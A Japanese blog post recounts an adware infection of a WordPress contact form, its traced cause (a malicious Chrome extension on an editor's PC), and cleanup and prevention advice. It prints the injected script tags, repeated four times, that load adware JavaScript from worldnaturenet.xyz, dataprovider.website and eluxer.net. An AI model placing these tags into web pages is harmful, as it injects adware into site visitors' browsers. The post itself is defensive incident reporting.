今や世界のウェブサイトの1/3がWP(Wordpress)制だなんて言うから恐ろしい。
しかし、OSSであるがゆえに利用者の多さはときにリスクとなる。
悪意を持って利用することで裏側まですべて公開されているという事はなによりも素晴らしい土壌であるから。
そんなWPを仕事で使っているなかでマルウェアに感染したので対策等をまとめてみた。
Contents
感染したマルウェア
worldnaturenet.xyzがばらまくアドウェア。
勝手に広告を表示するサイト運営社にもユーザにも迷惑極まりないウィルス。
感染箇所
WPでMWフォームを利用して作っていた問い合わせフォームの一つ
そもそもWordpress(WP)は脆弱なのか
世の中では「WPは悪」として語られる事が多い。その中でもセキュリティ面で脆弱だのと言われることが多いがはっきり言ってそのへんのスクラッチで開発されたシステムの方がよっぽどと言っていいほどセキュリティ的に弱い。
考えてみてほしい。標的にされたユーザの1%が被害に遭うウィルスがあったとする。100人しか使ってないシステムと全世界の1/3が使うシステムではその意味がまったくもって違う。
割合なので常識といえば常識だが、母数が大きいから目立つだけであって特別WPがセキュリティ的に脆弱なシステムだというわけではない。
また、関わっているエンジニアの数も桁が軽く4つ5つと違う、これはアイデアやひらめきといった要素が関わるシステム開発において数は力とも言える。
その粋があつまったOSSが凡人が集まって作ったスクラッチ開発のシステムで叶うわけがない。
状況確認
どうやらMWフォームの編集画面に複数行の不明なコードが挿入されているようだ
<script src="https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51824x6698x&r=22" type="text/javascript"></script><script src="https://dataprovider.website/addons/lnkr5.min.js" type="text/javascript"></script><script src="https://dataprovider.website/addons/lnkr30_nt.min.js" type="text/javascript"></script><script src="https://eluxer.net/code?id=105&subid=51824_6698_" type="text/javascript"></script>
<script src="https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51824x6698x&r=35" type="text/javascript"></script><script src="https://dataprovider.website/addons/lnkr5.min.js" type="text/javascript"></script><script src="https://dataprovider.website/addons/lnkr30_nt.min.js" type="text/javascript"></script><script src="https://eluxer.net/code?id=105&subid=51824_6698_" type="text/javascript"></script>
<script src="https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51824x6698x&r=4" type="text/javascript"></script><script src="https://dataprovider.website/addons/lnkr5.min.js" type="text/javascript"></script><script src="https://dataprovider.website/addons/lnkr30_nt.min.js" type="text/javascript"></script><script src="https://eluxer.net/code?id=105&subid=51824_6698_" type="text/javascript"></script>
<script src="https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51824x6698x&r=24" type="text/javascript"></script><script src="https://dataprovider.website/addons/lnkr5.min.js" type="text/javascript"></script><script src="https://dataprovider.website/addons/lnkr30_nt.min.js" type="text/javascript"></script><script src="https://eluxer.net/code?id=105&subid=51824_6698_" type="text/javascript"></script>
とりあえず確認できたので挿入されたコードを削除する
このままでは閲覧者にとってもサイトにとっても良いことはないので、ひとまず書き込まれていたコードを削除。
該当ページにてセキュリティブロックの発生が止まったことを確認。
気づかないうちに挿入されたコードなので、どういったタイミングで追加されるかわからないため、削除したところで消えない可能性もあります。
プラグインの数・バージョン
無効化中の物を含め47個 一般的な数字を知らないのであれですが体感的にはかなり多い印象。
内最新バージョンのプラグイン9個!
驚きの更新率。内2個は最新バージョンがそもそもかなり古いだけ、内3個は最近導入したので最新なだけ。
セキュリティの面を考えると更新は必須です。とても業務で使っているとは思えないあまあま管理でした。
とはいえ、プラグインをベースに感染していると考えると常に症状が出ているものと思われるため、サーバサイドの感染は今回あまり考慮しておらず、報告資料の足し使う程度でした。
作業者環境
感染したPCでの操作により影響がでたパターンが強いと今回は考えていたため、主にサイト編集をする4人について以下の確認作業を実施した。
・セキュリティブロックの発火したコンタクトフォーム7を開き、エディタをテキスト←→ビジュアルを切り替え更新保存する
これにより、削除したソースコードの様なものが復活するのであればその人の端末が犯人だと特定出来る算段です。
感染した原因をかんがえる
この手の問題は1度発生すると原因を潰さないかぎり2度3度と永遠と続くことが目に見えているので、どこからこういった事が発生したのか。
まずWPということで最初に思いつくのがWPそのもののバージョンや、プラグインおよびそのバージョン。
業務で関わるサイトなので詳細は書けないが、調べるといくつか問題だろうと思う点が出てくる。しかし自動更新をわざわざオフにしているので、先輩に確認すると。
管理サイト数が膨大なので自動更新なんてしたら不具合あった際に対応できない
なんて言葉が帰ってきて頭を抱えた。
ただでさえ、間違った(?)WPの使い方をしているのでそういう所やぞって思いはしたが…苦笑
しかし、今回はプラグインやサーバからの感染を疑っていないので実質Choromeの拡張機能を調べていきます。
シークレットモードは原則拡張機能が全てオフ
Choromeの場合ですが、シークレットモードはすべての拡張機能がオフになります。
そのため、多少面倒ではありますが、シークレットモードでの実行を1つずつ許可して確認作業をすることで
悪意のある拡張機能をあぶり出すことが可能です。そのため、シークレットモードを利用することで確実に解決に近づけることが可能です。
良くも悪くも"Javascriptで動作する"という事がキーとなってきますね・・・。
まとめ
結局作業者の端末に怪しげなソースコードを含んだ拡張機能があったので削除。
その後みんなで必死に投稿やフォームに埋め込まれた該当コードを探しては削除する作業・・・これがとてつもなく大変でした。
WPには便利なセキュリティ対策プラグインもあるので、基本は護ること。事後で対処も出来なくはないですが、サイトの規模が大きくなればなるほど確認も対応も難しくなります。(実際今回の騒動も投稿700個ほどあったため大変でした・・・)
予防も含め、今のうちから見直してもしもを防いで快適なWPライフを!